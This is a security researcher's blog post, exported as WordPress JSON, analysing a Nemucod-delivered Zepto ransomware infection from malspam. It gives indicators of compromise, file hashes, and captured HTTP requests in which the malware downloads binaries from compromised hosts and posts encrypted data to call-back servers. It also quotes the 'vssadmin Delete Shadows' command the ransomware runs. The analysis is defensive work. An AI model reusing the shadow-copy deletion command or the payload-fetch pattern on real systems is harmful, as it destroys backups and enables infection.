{"id":580,"date":"2016-08-05T23:08:17","date_gmt":"2016-08-05T22:08:17","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=580"},"modified":"2016-08-05T23:08:17","modified_gmt":"2016-08-05T22:08:17","slug":"2016-08-05-malspam-leads-to-nemucodzepto-ransomeware","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=580","title":{"rendered":"2016-08-05 Malspam Leads To Nemucod\/Zepto Ransomeware"},"content":{"rendered":"

For this blog post I am covering what looks to be a new variant of Locky ransomware called “Zepto” which also uses Nemucod as it’s downloader. As of right now it looks like the main attack-vector from Zepto is from emails pretending to be something else (in this case a JPG in a zip archive) attached to an email as you can see below:<\/p>\n

\"\"<\/a><\/p>\n

For some more information about this new variant of Locky please check out The Register’s article about it here<\/a>. Also, the artifacts from this investigation along with the PCAP and Process Monitor logs can be found in my Github repo located here<\/a>.<\/p>\n

Indicators of Compromise:
\n=========================
\npeloteros1.50webs.com \/ 162.210.101.113 (Port 80)
\nheidechopper.de \/ 212.40.179.101 (Port 80)
\nwww.leonardopivi.it \/ 213.205.40.169 (Port 80)
\n185.129.148.19 (Port 80)
\nygpktpim.pw \/ 188.127.230.63 (Port 80)
\n31.41.46.29 (Port 80)
\nrrivgatfejqhg.pl (Unknown DNS)
\nuwqrqvttgfysrhu.org (Unknown DNS)
\ndcpxuedcnoa.click (Unknown DNS)
\ncljpimuk.xyz (Unknown DNS)
\najpwxtywqgv.ru (Unknown DNS)
\nfxveeemrorlfbuu.biz (Unknown DNS)
\nulelypjqsdo.click (Unknown DNS)
\npeirdhihpxsqhnt.info (Unknown DNS)<\/p>\n

Artifacts From Investigation:
\n=============================
\nFile name: 50977610310_95677.wsf
\nFile size: 31KB
\nMD5 hash: db13d1632fabb5e9a3495fb0f84b131d
\nVirustotal link: http:\/\/www.virustotal.com\/en\/file\/da5f6249d20a28cea55ddd04dd1c9cd5a183b3ba4690a6b17daa4500fd93f089\/analysis\/<\/a>
\nFirst Detection: 2016-08-05 11:55:06 UTC
\nDetection ratio: 3 \/ 55<\/p>\n

File name: ETNqJC
\nFile size: 260KB
\nMD5 hash: 4efca985895a53168d8ba990466d6cfb
\nVirustotal link: http:\/\/www.virustotal.com\/en\/file\/faed997d40e60b92e2e8d798ad4fdd84a8fdbf13cd12e32886bda9c7bc38f655\/analysis\/<\/a>
\nFirst Detection: 2016-08-05 10:56:04 UTC
\nDetection ratio: 2 \/ 52<\/p>\n

File name: ETNqJC.exe
\nFile size: 260KB
\nMD5 hash: 5525154d2928bded35303298b5da45e9
\nVirustotal link: http:\/\/www.virustotal.com\/en\/file\/8feed91acb48f4f6d2ed01fdc2aa409c1e18700c089f4d92a28096fc4d40e3c7\/analysis\/<\/a>
\nFirst Detection: 2016-08-05 11:13:47 UTC
\nDetection ratio: 12 \/ 54<\/p>\n

File name: jtwlHmfWYP
\nFile size: 260KB
\nMD5 hash: 4efca985895a53168d8ba990466d6cfb
\nVirustotal link: http:\/\/www.virustotal.com\/en\/file\/faed997d40e60b92e2e8d798ad4fdd84a8fdbf13cd12e32886bda9c7bc38f655\/analysis\/<\/a>
\nFirst Detection: 2016-08-05 10:56:04 UTC
\nDetection ratio: 2 \/ 52<\/p>\n

File name: jtwlHmfWYP.exe
\nFile size: 260KB
\nMD5 hash: 5525154d2928bded35303298b5da45e9
\nVirustotal link: http:\/\/www.virustotal.com\/en\/file\/8feed91acb48f4f6d2ed01fdc2aa409c1e18700c089f4d92a28096fc4d40e3c7\/analysis\/<\/a>
\nFirst Detection: 2016-08-05 11:13:47 UTC
\nDetection ratio: 12 \/ 54<\/p>\n

File name: xMgPNwjQRaB
\nFile size: 345KB
\nMD5 hash: 029ae44b379d08114259b850f45de150
\nVirustotal link: http:\/\/www.virustotal.com\/en\/file\/1a17a5e27c658004e3900653663f22969eaf852fa54d89488fbf3cfee29774d1\/analysis\/<\/a>
\nFirst Detection: 2009-03-02 12:21:52 UTC
\nDetection ratio: 0 \/ 53<\/p>\n

File name: xMgPNwjQRaB.exe
\nFile size: 345KB
\nMD5 hash: d8386110658905838a51fff785fb4e09<\/p>\n

Traffic Analysis of Malware
\n===========================
\nOverall there is not much to this infection from a traffic perspective as it is pretty straight forward as you can see below:<\/p>\n

\"\"<\/a><\/p>\n

Once the malicious file has been executed on the system, there are three GET requests which correlates to the three binary files that get downloaded to the system. The first GET request fails since it returns a 404:<\/p>\n

\r\nGET \/8t76v45?bThyYkypV=LvxkcmwGoF HTTP\/1.1\r\nAccept: *\/*\r\nUA-CPU: AMD64\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\/6.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\r\nHost: peloteros1.50webs.com\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 403 Forbidden\r\nContent-Type: text\/html\r\nContent-Length: 345\r\nDate: Fri, 05 Aug 2016 11:06:52 GMT\r\nServer: lighttpd\/1.4.28\r\n\r\n<?xml version="1.0" encoding="iso-8859-1"?>\r\n<!DOCTYPE html PUBLIC "-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN"\r\n         "http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd">\r\n<html xmlns="http:\/\/www.w3.org\/1999\/xhtml" xml:lang="en" lang="en">\r\n <head>\r\n  <title>403 - Forbidden<\/title>\r\n <\/head>\r\n <body>\r\n  <h1>403 - Forbidden<\/h1>\r\n <\/body>\r\n<\/html><\/pre>\n
Because this request fails to download the malicious binary, the file is just a copy of the 404 page. The next two GET requests look to be encrypted since you don’t see the usual magic number of “MZ” in the PCAP:<\/p>\n
\r\nGET \/8t76v45?RdlxnmQu=kHiQWaw HTTP\/1.1\r\nAccept: *\/*\r\nUA-CPU: AMD64\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\/6.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\r\nHost: heidechopper.de\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Fri, 05 Aug 2016 13:56:25 GMT\r\nServer: Apache\r\nLast-Modified: Fri, 05 Aug 2016 11:00:41 GMT\r\nETag: "c3c4133-40eb4-fa2d6840"\r\nAccept-Ranges: bytes\r\nContent-Length: 265908\r\nKeep-Alive: timeout=3, max=25\r\nConnection: Keep-Alive\r\nContent-Type: text\/plain\r\n\r\n...jTo7Ej9pp..90.Yn8BPEW"pvX0Qq5MJLjWo7En9ppU790OYn8BPEWbpvX8Pq5CU.dW.>.O.q<[LONG STRING]\r\n\r\n-----\r\n\r\nGET \/8t76v45?bHkNox=KjdFgP HTTP\/1.1\r\nAccept: *\/*\r\nUA-CPU: AMD64\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\/6.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\r\nHost: www.leonardopivi.it\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Fri, 05 Aug 2016 13:56:57 GMT\r\nServer: Apache\r\nLast-Modified: Fri, 05 Aug 2016 11:03:59 GMT\r\nETag: "7d581c0-40eb4-539510606e3e9"\r\nAccept-Ranges: bytes\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nKeep-Alive: timeout=15, max=80\r\nConnection: Keep-Alive\r\nTransfer-Encoding: chunked\r\nContent-Type: text\/plain\r\n\r\n1faa\r\n............._S............N"%[LONG STRING] <\/pre>\n
From here we proceed to see the POST requests to the call-back domains. The interesting thing here is that while the infected system tries to POST what I am thinking are system details and other bits that are using a custom encryption method, the POST requests are all failing. Also, each POST to the call-back domains has the same data in it as far as I can tell. An example of this can be seen below:<\/p>\n
\r\nPOST \/php\/upload.php HTTP\/1.1\r\nAccept: *\/*\r\nAccept-Language: en-us\r\nReferer: http:\/\/185.129.148.19\/php\/\r\nx-requested-with: XMLHttpRequest\r\nContent-Type: application\/x-www-form-urlencoded\r\nAccept-Encoding: gzip, deflate\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\r\nHost: 185.129.148.19\r\nContent-Length: 786\r\nConnection: Keep-Alive\r\n\r\nyzit=%F9%E4%D8H%C2%E7%8DE%85%AEp%F1%28%FA%28A%06q%ED%CDdr%9B%2C%9B%BA%0C%8Bg%5E%2F%B4r%AD%D3%BBj%EE_%81%3B%02%99c%AE%F9%AB%D2z&cQqAK=%B6%18w%A4V%A5%9EXI%19%B9%8B%D4cg%EDM%BD%5D%93H&hCoF=%D3l%2A%C6%7C%B80%B4%F6%9E%BDN%25%17V%2F%DC%1E%AE%7C%3F%2B_m%DC%F9%EE%0Ds%A9%86%22%7D%08%A9%2A%21%CC%0E%8C9%EA%1A%E1%8A%0A%FBRj&TactdFW=%87%AAq%1A%F7%F8%98%C3%A2-%1AG%F1%7DVq%BBj%8D%A4%9C%C2LF%C6%C6%82%C7%80%5D%5D%F5.x%08&FHGZZ=%C7%ECmj%AF%27k%98%B9%5D%F1%D8%3A%0E%23%C9%99DLvH6%5B%81%C4%EB%9DU%C8rW&UkOIzI=npaQ%60%5B%F9%8DA%91%40%85%B9%5CP%E8%95%BF%FB%90%1F%7C%8C%3C%94h%BCc%28%DC%DB%F2%C0h&vMdtw=%17O%95HEqy%7E%C8mfr%E3kQom%F0e%B3%B5%D6%C2%27q%5C%99+%BA%92u%BF%0E%96%A0%E6%2A%3E%EF&qflL=9%28Ca%5BB%F6%F8%04p%D4%07%E3%1BD%CD%27%EE%F9d%A9%60H%CEo%94k%A2%7CC%96n%FE3%A9%DC%CC%AE%0F&ouF=lVR%5C%05%E4%0DHTTP\/1.1 404 Not Found\r\nServer: nginx\r\nDate: Fri, 05 Aug 2016 13:57:44 GMT\r\nContent-Type: text\/html\r\nContent-Length: 162\r\nConnection: keep-alive\r\n\r\n<html>\r\n<head><title>404 Not Found<\/title><\/head>\r\n<body bgcolor="white">\r\n<center><h1>404 Not Found<\/h1><\/center>\r\n<hr><center>nginx<\/center>\r\n<\/body>\r\n<\/html><\/pre>\n
I am assuming that it is trying several times to make sure the data gets *SOMEWHERE*. Unfortunately it doesn’t look like it does. Also, we can see that there is a connection request to the IP address of 31.41.46.29 over port 80 that is never successful. Guess that these servers were already taken down by the time I ran this sample.<\/p>\n
Host Investigation
\n==================
\nLike Locky, the execution of this malware sample is pretty straight forward as seen below:<\/p>\n
\"\"<\/a><\/p>\n
When the script launches and performs the GET requests, it downloads the three malicious binaries from the different servers. The files that actually get downloaded are encrypted from what I can tell (based on what the file looks like when on the host and also in the PCAP), and then when on the compromised host system, gets decrypted and turned into actual executable binaries. All the files are located in the “C:\\Users\\%username%\\AppData\\Local\\Temp” path. <\/p>\n
From here we can see that the two binaries are then started with the script still the parent process. The main process that seems to do the bulk of the work and encrypting the file-system is the “ETNqJC.exe” process from what I gather. The other process is called “jtwlHmfWYP.exe” and at this time I am not exactly sure what this process is responsible for. I also noticed that one of the “ETNqJC.exe” child processes was responsible for the POST requests to the call back servers. We also see that the Windows Task Scheduler (taskeng.exe) process spins up, creates a new task, and then proceeds to run “C:\\windows\\system32\\vssadmin.exe Delete Shadows \/Quiet \/Al” command.<\/p>\n
Once the file system was encrypted, the communication to the call-back servers stopped and the usual pop-up alerts stating that the system had been encrypted became visible:<\/p>\n
\"\"<\/a><\/p>\n
\"\"<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
For this blog post I am covering what looks to be a new variant of Locky ransomware called “Zepto” which also uses Nemucod as it’s downloader. As of right now it looks like the main attack-vector from Zepto is from emails pretending to be something else (in this case a JPG in a zip archive) attached to an email as you can see below: For some more information about this new variant of Locky please check out The Register’s article about it here. Also, the artifacts from this investigation along with the PCAP and Process Monitor logs can be found…<\/p>\n
 Continue reading<\/span><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-580","post","type-post","status-publish","format-standard","hentry","category-packet-analysis"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/580","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=580"}],"version-history":[{"count":2,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/580\/revisions"}],"predecessor-version":[{"id":587,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/580\/revisions\/587"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=580"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}